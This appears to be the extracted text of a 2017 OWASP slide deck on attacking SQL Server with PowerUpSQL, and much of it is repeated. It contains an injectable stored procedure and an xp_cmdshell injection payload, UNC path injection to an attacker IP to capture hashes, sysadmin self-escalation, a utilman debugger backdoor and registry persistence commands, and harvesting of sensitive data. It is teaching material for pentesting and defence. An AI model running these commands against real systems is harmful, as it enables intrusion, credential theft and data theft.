httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 50: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
